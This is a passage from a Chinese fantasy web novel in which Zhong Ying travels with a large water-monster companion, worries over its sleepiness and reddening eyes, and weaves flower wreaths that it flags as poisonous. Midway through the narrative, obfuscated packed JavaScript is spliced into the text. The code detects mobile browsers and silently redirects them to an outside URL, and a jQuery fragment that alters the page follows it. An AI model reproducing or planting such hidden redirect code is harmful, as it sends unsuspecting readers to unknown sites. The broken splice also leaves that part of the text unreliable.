钟盈还是之前的打算,一路向东。
水边生长着好多开花的植物,还有各种柔软的、坚硬的,又或是带刺藤蔓。她一边说,一边扯,团着团着,就编出了一枚小小的花环。
水怪这会儿又对什么都不积极了,任由着小人大致的叙述“他们”的计划,尾巴有一下没一下地拍击着地面。
“啊呀,那真是恰好相反。我们就是从东边一路过来的呢!”丹妮好遗憾。
它戴上钟盈刚刚编织的小花环,美滋滋地对着河水照了照,歪头想了想,从翅膀上拔下一根漂亮的羽毛。
“插在头顶拧几圈可以飞哦,像不像竹蜻蜓?”写字写累的丹妮使唤男友帮忙转述,被它不熟练的丑陋大字逗得前俯后仰,发出嗝啊嗝啊的奇怪笑声。
它活灵活现地用翅膀叉腰:“很有趣的!送你做纪念啦!”
钟盈朝它们挥手,“下次见!”
不怎么顺路的两拨故人在短暂的交集后,互相道别,奔向了各自的目的地。有着白色羽毛的漂亮大鸟展翅飞起,穿过渐渐昏暗下来的森林和河流,飞向恢宏的晚霞。
而钟盈他们也启程。
离开这片因为太阳落山,而逐渐变得阴森的水泊,寻找可以过夜的地方。
一棵死去的杉树倒塌,连带着折断了周边的其他树木。残留在地面的树桩上有着明显的不规则断口,其中的大部分已经腐朽,长满了各种青苔和蕨类。
地面上散落着各种球果,有的已经长成了幼苗,白色的根扎进了厚厚的落叶和腐殖质中。
他们在这块林间空地中停留,像往常那样采集和狩猎了各种食材,燃起篝火煎烤煮炸。
钟盈很快吃完了。
她挑选了几棵大树,忙碌着布置过夜的住处。
邻居啃完了两头野猪,一扇羊排,突然离席,不再进食。
它平时的食量起码是现在的五六倍,这一下子不吃了,旁边堆叠的好多食材都要浪费。
钟盈有点儿懵,她扶着树干凑过去,上下观察邻居的神态:“你怎么啦?”
邻居扭过头不让钟盈观察。
这是前所未有的事情,钟盈忍不住用双手捧起它搁在大石块上的脑袋,想要把它的脸掰回来。
本以为会很费劲,可轻轻一掰就成功了。
正脸看过来的邻居张大嘴,打了一个巨大的哈欠。
一口气直接把钟盈给吹跑。
它赶紧合上了嘴,用爪子把在狂风中紧紧抱住大树的小人给捞了回来。
“你这是……困了?”被捞回来的钟盈站在爪子上,捋了捋凌乱的长发,居高临下地打量邻居的大脑袋。
幽绿色的瞳孔边缘,不知道什么时候掺上了一丝丝的血色,好像那个人熬夜久了或者用眼过度就会出现的红血丝。
再一次感受到困意的水怪忍不住张嘴,又打了个超巨大的哈欠。
吐出的气流形成了短暂的小龙卷风,将那些散落在地面上的枯枝败叶连带着杂草,一堆儿地卷上了天,好半晌才哗啦一声落下。
被一起卷走的黄鼠狼,灰头土脸地从最底下钻了出来,呲溜放了一个臭气熏天的响屁,逃命似得钻回草垛中。
钟盈目瞪口呆,心有余悸。
还好邻居第一个哈欠没有如此威力。
她温声告诉邻居:“困了就睡吧。”说完还很贴心地哼了一段不知道从哪里听来的,跑调的摇篮曲。
这样的困意在前段时间就再次出现。
但水怪已经很难再找到以前沉入水底,安详等待睡眠的心境。
过去无数次的沉睡经验告诉它,闭上眼再睁开眼,沧海桑田,眼前的所有都会消失不见。
不知不觉就过去了几个月,也有可能十数年。
以前不愿意醒来,总觉得外界吵闹。
现在不愿意入睡,现在所经历的所有事情,都会变成下一次零碎的、难以读懂的回忆,仅是这样想一想,水怪都会感受到一股难以言喻的绝望和恐惧。
比被“人类”尖叫驱赶攻击,还要令这只庞然大物浑身战栗。
水怪开始发呆走神。
而落在钟盈眼里,就是她成功地安抚了邻居,它打算乖乖睡觉了。
眼看着本来菱形的瞳孔渐渐扩大,变成不规则的椭圆,慢慢覆盖了住了原本大范围的幽绿,钟盈想起来她还在半空中,忙戳了戳邻居的肉垫,希望它把自己放下来。
邻居半梦半醒地,没任何反应。
好叭。
她眺望了一下她的火堆和推车,搭了一半的庇护所,又可惜地看了眼满地的食物,从背包里抽出毛毯,决定在邻居的爪子里凑合一晚。
凉飕飕的爪子像冰凉的水床,一根根立起的爪尖像柱子,而半透明的蹼像护栏。
要是能挂上蚊帐就再好不过了。
钟盈拍死一只蚊子,迷迷糊糊地想。
夏季的温度太高,第二天,钟盈被床放了下来,忙跑过去检查昨天剩下的那堆食材。
果不其然,都已经开始发馊。
一些食腐类的小动物吃得满嘴喷香,里面还夹杂着几只像破抹布一样的铅灰色猛禽,它们都吃上了,钟盈没好意思过去收拾厨余垃圾。
夏季的物资非常丰富,钟盈配着采集来的各类豆子啃蜜汁排骨,教育狩猎归来的邻居,“但我们也不可以随便浪费。”
邻居听进去了,就是有点儿似懂非懂。
它转过身来的时候,钟盈惊奇地发现经过一个晚上的休息,邻居眼睛中的红血丝并没有减少,仍有继续扩大蔓延的趋势。
她以自己5.3的视力保证!
钟盈顿时也不纠结食物到底有没有浪费了,她忧心忡忡地问邻居,也问自己:“不会是病了吧?”
荒野里生病简直会要命。
之所以不继续食用发馊的食物,即使有些食材的异味不那么明显,就是因为这一点。
远离抗生素,远离各类现代浓缩剂量的药物,普通人并不能很好地采集并正确处理野外新鲜药材,也很难迅速对症下药。
她想让邻居把自己抓起来,举高了近距离再观察一下,邻居破天荒地拒绝了这个小小的要求,还有点儿生气。
它从喉咙里发出了危险的咕噜声,像闷雷炸响。
钟盈掏了掏耳朵,也生气了:哼!
来吃自助餐的动物们都被吓跑,她把自己的推车和收拾了出来,余光却发现邻居总是躲躲闪闪地暗中观察。
似乎在确认她有没有消气。
这动作,这神情。
钟盈:算了算了,就当是好友家的那只狗子叭。
她轻而易举地原谅了邻居,而邻居也乖乖抓起她,放任地让小人死死地捧着它的眼睑,研究它的眼睛。
和野兽对视是很危险的,会被认为是进攻的信号,但钟盈忘记了这一点,水怪也是。
这场观察持续了很久。
久到水怪发现自己喘不过气,才想起来刚刚忘记了呼吸。
它眨了一下眼睛。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507178|166887||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
而钟盈有了重大发现,她伸手抠掉了一粒刚刚成型的,发着荧光的眼屎……
“什么都看不出来,你要是难受记得说喔!”钟盈跑到水边洗了个手,见邻居也没什么不适,她对着邻居提议:“那,我们继续出发?”
离开这片树林,又是一片新的树林。
不过这里的树木稀疏一些,大多数是冠幅不大的白桦树,偶尔有一些赤松和侧柏,都是些不怎么遮阳的树种。
阳光照耀的地面上铺满了小草小花,角落里树根旁偶尔冒出来几颗瘦骨嶙峋的蘑菇。像毛茸茸的绿毯。
溪流也绿意盎然,漂浮着青苔,有着纤细叶片的水草一直延伸了水面上,是另一片草坪。
灌木丛中结着许多色彩斑斓的青涩野果。
都是些不认识的果实,它们几乎没有被小鸟啄食过,因此钟盈也不敢随便乱吃。
她薅了一些植物编织花环,没一会儿就做好了两个。
早在丹妮离开前,钟盈就注意到邻居那羡慕的小眼神。
“你想要这个带很多小花花的,还是这个带大捧野果的?”钟盈把两个花环都举起来,摆到水怪面前。
水怪低头嗅了嗅,将那个戴着很多小花花的,顶到了头顶上的小凸起处。
钟盈也是才发现,邻居头颅两侧的鳞片上,有着不怎么明显的凸起,像两个小角。
现在左侧的“角”,正好卡住了它选择的那个花环。
黑黢黢的邻居戴着粉色白色鹅黄色的花环,看起来有点儿滑稽,但看久了还蛮和谐的。
钟盈于是把大的那个,套在了自己的脖子上。
她本来以为邻居会选不带花的,它一路上总对漫山遍野的夏花视而不见。
因此把另一个做得格外大,用侧伯叶松枝做骨架,塞满了各种没熟透的浆果坚果,还插上了青苔和蕨,有点像传统意义的圣诞花环。
非常重。
钟盈戴了没一会儿,就觉得脖子快要不行。
于是她把花环摘下来,有一搭没一搭地拨弄着那堆五颜六色,形状各异的果实。
谁料邻居毫无预兆地一爪子抽了过来——
虽然它收着爪尖,虽然连皮外伤都没留下,但漂亮的花环掉到地上,红色的紫色的果实,咕噜噜地滚走了。
钟盈:!
她现在胆子越来越大,甚至敢于朝邻居发脾气。
“有……毒。”水怪瑟缩了一下,小心翼翼地捡起果实,对着怒目而视的小人磕磕绊绊地慢吞吞地解释。
就这两个清晰的字眼,它挤了很久,很久。
钟盈将湿漉漉的果实拿在手上:“正常人谁吃花环啊!”
说完她想起来——路明确实干过这个事情。
赤松友情赠送的花环,像是吊在鹿脖子下面的饲料圈。
为此橡树老爷爷又张嘴开骂。
骂骂咧咧地说现在的年轻人是怎么回事,啊?!礼物是拿来吃的吗?!
缓坡上一片鸡飞狗跳,路明好想逃,但怎么也逃不出老橡树不断抽过来的树枝和根须。
在保证她绝对不会随便吃奇怪的果实后,邻居半信半疑地相信了。
它的目光一直往钟盈怀里瞥。
钟盈总觉得邻居没能完全放弃偏见,很可能在计划着找机会,偷偷摸摸把上面装饰性的果实全部丢掉。
……
前方似乎有隐约的建筑群,她捏了捏邻居的爪子:“快看,那边是不是有好几座小屋?”